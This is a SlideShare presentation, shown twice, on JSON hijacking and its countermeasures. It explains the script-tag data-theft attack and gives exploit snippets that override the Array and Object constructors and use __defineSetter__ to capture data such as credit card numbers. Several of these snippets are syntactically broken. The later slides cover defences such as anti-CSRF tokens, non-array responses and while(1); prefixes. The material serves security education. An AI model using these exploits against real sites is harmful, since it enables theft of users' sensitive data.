SlideShare a Scribd company logo
JSON Hijacking & Countermeasures
Contents
 Introduction to JSON
 JSON Vs XML
 JSON Hijacking Methods
 JSON Hijacking Countermeasures
JSON Introduction
 JSON: JavaScript Object Notation.
 JSON is a syntax for storing and exchanging data.
 JSON is an easier to use alternative to XML.
 JSON is language independent *
* JSON uses JavaScript syntax, but the JSON format is text only,
just like XML.
Text can be read and used as a data format by any programming
language.
JSON Vs XML
<employees>
<employee>
<firstName>John</firstName> <lastName>Doe</lastName>
</employee>
<employee>
<firstName>Anna</firstName> <lastName>Smith</lastName>
</employee>
<employee>
<firstName>Peter</firstName> <lastName>Jones</lastName>
</employee>
</employees>
*********************************************************************************
{"employees":[
{"firstName":"John", "lastName":"Doe"},
{"firstName":"Anna", "lastName":"Smith"},
{"firstName":"Peter", "lastName":"Jones"}
]}
JSON Hijacking
 One of the first people to demonstrate JavaScript Hijacking was Jeremiah Grossman, who
identified a vulnerability in Google GMail.(Google has fixed the problem.) Google was
serving the current GMail users’ contacts in unprotected JavaScript, so an attacker could
steal the contact list using JavaScript Hijacking.
 JavaScript Hijacking builds upon another type of widespread vulnerability: cross-site request
forgery. A cross-site request forgery attack causes a victim to unwittingly submit one or more
HTTP requests to a vulnerable website
 JSON Array hack allowing an evil site to grab sensitive user data from an unsuspecting user
 The hack involves redefining the Array constructor, which is totally legal in Javascript
This vulnerability requires that you are exposing a JSON service which…
 …returns sensitive data.
 …returns a JSON array.
 …responds to GET requests.
 …the browser making the request has JavaScript enabled
 …the browser making the request supports the __defineSetter__
method.
This attack can be achieved in 3 major steps:
Step 1: Get an authenticated user to visit a malicious page.
Step 2: The malicious page will try and access sensitive data from the application
that the user is logged into. This can be done by embedding a script tag in an
HTML page since the same-origin policy does not apply to script tags.
<script src="http://<json site>/json_server.php"></script>
The browser will make a GET request to json_server.php and any authentication
cookies of the user will be sent along with the request.
Step 3: At this point while the malicious site has executed the script it does not
have access to any sensitive data. Getting access to the data can be achieved
by using an object prototype setter. In the code below an object prototypes
property is being bound to the defined function when an attempt is being made
to set the “ccnum” property.
Object.prototype.__defineSetter__('ccnum',function(obj){
secrets = secrets.concat(" ", obj);
});
At this point the malicious site has successfully hijacked the sensitive financial data
(ccnum) returned by json_server.php
 The main 4 ways you can format your JSON response are:
 1. Array Format
 2. Variable Setter Format
 3. Call Back Function
 4. Object (bad format)
JSON Format Being Tested:
[
[
"Joe Smith",
"London",
"Apples"
]
]
Exploit Code:
function Array() {
{
var obj = this;
var ind = 0;
var getNext = function(x) {
obj[ind++] setter = getNext;
if (x)
document.write(dump(x));
};
this[ind++] setter = getNext;
}
Array Format
Variable Setter
JSON Format Being Tested:
var result = {
"person":
{
"name":"Joe Smith",
"location":"London",
"fruit":"Apples"
}
}
Exploit Code:
document.write(result);
Call Back Function
 JSON Format Being Tested:
callBackFunction ({
"person":{
"name":"Joe Smith",
"location":"London",
“fruit":"Apples"
}
})
Exploit Code:
function
callBackFunction(data)
{
document.write(data);
}
Object (bad format):
JSON Format Being Tested:
({
"person":{
"name":"Joe Smith",
"location":"London",
"fruit":"Apples"
}
})
Exploit Code:
var obj;
function Object() {
obj = this;
// define a setter for the killme property
this.__defineSetter__(‘killme’, function(x) {
for (key in obj) {
if (key != ‘killme’) {
document.write(dump(obj));
}
}
});
// call the setter when the JSON parse is done
setTimeout("obj['killme']=2;", 0);
}
Object (bad format)
JSON Hacking Countermeasures
 The application should use standard anti-XSRF defenses to prevent cross domain
requests for sensitive data. Requests for JSON Objects should include an
unpredictable parameter that is verified before data is returned.
 When an application retrieves JSON objects from its own domain,it is not restricted
to using <script> tag
 One common mitigation is to make sure that your JSON service always returns its
response as a non-array JSON object.
Eg. The ASP.NET AJAX library uses the "d" parameter formatting for JSON data. This
forces the data in the example to appear in the following form:
{"d" : ["bankaccountnumber", "$1234.56"] }
 never return JSON arrays in a response
 you can restrict JSON requests to respond only to requests that use the HTTP POST
action.
 Why does Google prepend while(1); to their JSON responses?
 while(1);[['u',[['smsSentFlag','false'],['hideInvitations','false'],
['remindOnRespondedEventsOnly','true'],
['hideInvitations_remindOnRespondedEventsOnly','false_true'],
['Calendar ID stripped for privacy','false'],['smsVerifiedFlag','true']]]]
 The while(1); or &&&BLAH&&& prevents this: an AJAX request at mail.google.com will
have full access to the text content, and can strip it away. But a <script> tag insertion
blindly executes the JavaScript without any processing, resulting in either an infinite
loop or a syntax error
Thank You

More Related Content

PPT
Java Script Object Notation (JSON)
PPTX
JSON(JavaScript Object Notation)
PDF
Introduction to JSON
ODP
Json Tutorial
PPT
Java Script Object Notation (JSON)
JSON(JavaScript Object Notation)
Introduction to JSON
Json Tutorial

What's hot (20)

PDF
An Introduction to JSON JavaScript Object Notation
PPTX
Introduction to JSON & AJAX
PDF
Basics of JSON (JavaScript Object Notation) with examples
PPTX
JSON-(JavaScript Object Notation)
PPT
java script json
PPT
PDF
Intro to JSON
PPTX
JSON
PPT
J s-o-n-120219575328402-3
PDF
Java script
PPTX
Validating a json in mule
PDF
Json
PDF
JSON Processing in the Database using PostgreSQL 9.4 :: Data Wranglers DC :: ...
PDF
Json tutorial, a beguiner guide
PPTX
An introduction to json
PDF
Json the-x-in-ajax1588
PPT
Javascript2839
An Introduction to JSON JavaScript Object Notation
Introduction to JSON & AJAX
Basics of JSON (JavaScript Object Notation) with examples
JSON-(JavaScript Object Notation)
java script json
Intro to JSON
JSON
J s-o-n-120219575328402-3
Java script
Validating a json in mule
Json
JSON Processing in the Database using PostgreSQL 9.4 :: Data Wranglers DC :: ...
Json tutorial, a beguiner guide
An introduction to json
Json the-x-in-ajax1588
Javascript2839
Ad

Viewers also liked (7)

PDF
Attques web
PPTX
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
PPT
Cross Site Request Forgery Vulnerabilities
PPTX
Understanding Cross-site Request Forgery
PDF
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Attques web
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Cross Site Request Forgery Vulnerabilities
Understanding Cross-site Request Forgery
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Ad

Similar to JSON (20)

PDF
Secure java script-for-developers
PPT
Json – java script object notation
PPT
Json – java script object notation
PPT
PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
PDF
Locking the Throneroom 2.0
PDF
Appsec usa2013 js_libinsecurity_stefanodipaola
PPTX
J s o n
PPT
Advanced Ajax Security
PPTX
JSON & AJAX.pptx
PPTX
Web security: Securing untrusted web content at browsers
PDF
Webinar–OWASP Top 10 for JavaScript for Developers
PPT
Json - ideal for data interchange
PDF
XSS Exploitation
PPTX
Web security: Securing Untrusted Web Content in Browsers
PDF
JSON Fuzzing: New approach to old problems
PPT
(In)Security Implication in the JS Universe
PPTX
Web technologies-course 10.pptx
PPTX
AJAX and JSON
Secure java script-for-developers
Json – java script object notation
Json – java script object notation
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throneroom 2.0
Appsec usa2013 js_libinsecurity_stefanodipaola
J s o n
Advanced Ajax Security
JSON & AJAX.pptx
Web security: Securing untrusted web content at browsers
Webinar–OWASP Top 10 for JavaScript for Developers
Json - ideal for data interchange
XSS Exploitation
Web security: Securing Untrusted Web Content in Browsers
JSON Fuzzing: New approach to old problems
(In)Security Implication in the JS Universe
Web technologies-course 10.pptx
AJAX and JSON

JSON

  • 1. JSON Hijacking & Countermeasures
  • 2. Contents  Introduction to JSON  JSON Vs XML  JSON Hijacking Methods  JSON Hijacking Countermeasures
  • 3. JSON Introduction  JSON: JavaScript Object Notation.  JSON is a syntax for storing and exchanging data.  JSON is an easier to use alternative to XML.  JSON is language independent * * JSON uses JavaScript syntax, but the JSON format is text only, just like XML. Text can be read and used as a data format by any programming language.
  • 4. JSON Vs XML <employees> <employee> <firstName>John</firstName> <lastName>Doe</lastName> </employee> <employee> <firstName>Anna</firstName> <lastName>Smith</lastName> </employee> <employee> <firstName>Peter</firstName> <lastName>Jones</lastName> </employee> </employees> ********************************************************************************* {"employees":[ {"firstName":"John", "lastName":"Doe"}, {"firstName":"Anna", "lastName":"Smith"}, {"firstName":"Peter", "lastName":"Jones"} ]}
  • 5. JSON Hijacking  One of the first people to demonstrate JavaScript Hijacking was Jeremiah Grossman, who identified a vulnerability in Google GMail.(Google has fixed the problem.) Google was serving the current GMail users’ contacts in unprotected JavaScript, so an attacker could steal the contact list using JavaScript Hijacking.  JavaScript Hijacking builds upon another type of widespread vulnerability: cross-site request forgery. A cross-site request forgery attack causes a victim to unwittingly submit one or more HTTP requests to a vulnerable website  JSON Array hack allowing an evil site to grab sensitive user data from an unsuspecting user  The hack involves redefining the Array constructor, which is totally legal in Javascript
  • 6. This vulnerability requires that you are exposing a JSON service which…  …returns sensitive data.  …returns a JSON array.  …responds to GET requests.  …the browser making the request has JavaScript enabled  …the browser making the request supports the __defineSetter__ method.
  • 7. This attack can be achieved in 3 major steps: Step 1: Get an authenticated user to visit a malicious page. Step 2: The malicious page will try and access sensitive data from the application that the user is logged into. This can be done by embedding a script tag in an HTML page since the same-origin policy does not apply to script tags. <script src="http://<json site>/json_server.php"></script> The browser will make a GET request to json_server.php and any authentication cookies of the user will be sent along with the request.
  • 8. Step 3: At this point while the malicious site has executed the script it does not have access to any sensitive data. Getting access to the data can be achieved by using an object prototype setter. In the code below an object prototypes property is being bound to the defined function when an attempt is being made to set the “ccnum” property. Object.prototype.__defineSetter__('ccnum',function(obj){ secrets = secrets.concat(" ", obj); }); At this point the malicious site has successfully hijacked the sensitive financial data (ccnum) returned by json_server.php
  • 9.  The main 4 ways you can format your JSON response are:  1. Array Format  2. Variable Setter Format  3. Call Back Function  4. Object (bad format)
  • 10. JSON Format Being Tested: [ [ "Joe Smith", "London", "Apples" ] ] Exploit Code: function Array() { { var obj = this; var ind = 0; var getNext = function(x) { obj[ind++] setter = getNext; if (x) document.write(dump(x)); }; this[ind++] setter = getNext; } Array Format
  • 11. Variable Setter JSON Format Being Tested: var result = { "person": { "name":"Joe Smith", "location":"London", "fruit":"Apples" } } Exploit Code: document.write(result);
  • 12. Call Back Function  JSON Format Being Tested: callBackFunction ({ "person":{ "name":"Joe Smith", "location":"London", “fruit":"Apples" } }) Exploit Code: function callBackFunction(data) { document.write(data); }
  • 13. Object (bad format): JSON Format Being Tested: ({ "person":{ "name":"Joe Smith", "location":"London", "fruit":"Apples" } }) Exploit Code: var obj; function Object() { obj = this; // define a setter for the killme property this.__defineSetter__(‘killme’, function(x) { for (key in obj) { if (key != ‘killme’) { document.write(dump(obj)); } } }); // call the setter when the JSON parse is done setTimeout("obj['killme']=2;", 0); } Object (bad format)
  • 14. JSON Hacking Countermeasures  The application should use standard anti-XSRF defenses to prevent cross domain requests for sensitive data. Requests for JSON Objects should include an unpredictable parameter that is verified before data is returned.  When an application retrieves JSON objects from its own domain,it is not restricted to using <script> tag  One common mitigation is to make sure that your JSON service always returns its response as a non-array JSON object. Eg. The ASP.NET AJAX library uses the "d" parameter formatting for JSON data. This forces the data in the example to appear in the following form: {"d" : ["bankaccountnumber", "$1234.56"] }  never return JSON arrays in a response  you can restrict JSON requests to respond only to requests that use the HTTP POST action.
  • 15.  Why does Google prepend while(1); to their JSON responses?  while(1);[['u',[['smsSentFlag','false'],['hideInvitations','false'], ['remindOnRespondedEventsOnly','true'], ['hideInvitations_remindOnRespondedEventsOnly','false_true'], ['Calendar ID stripped for privacy','false'],['smsVerifiedFlag','true']]]]  The while(1); or &&&BLAH&&& prevents this: an AJAX request at mail.google.com will have full access to the text content, and can strip it away. But a <script> tag insertion blindly executes the JavaScript without any processing, resulting in either an infinite loop or a syntax error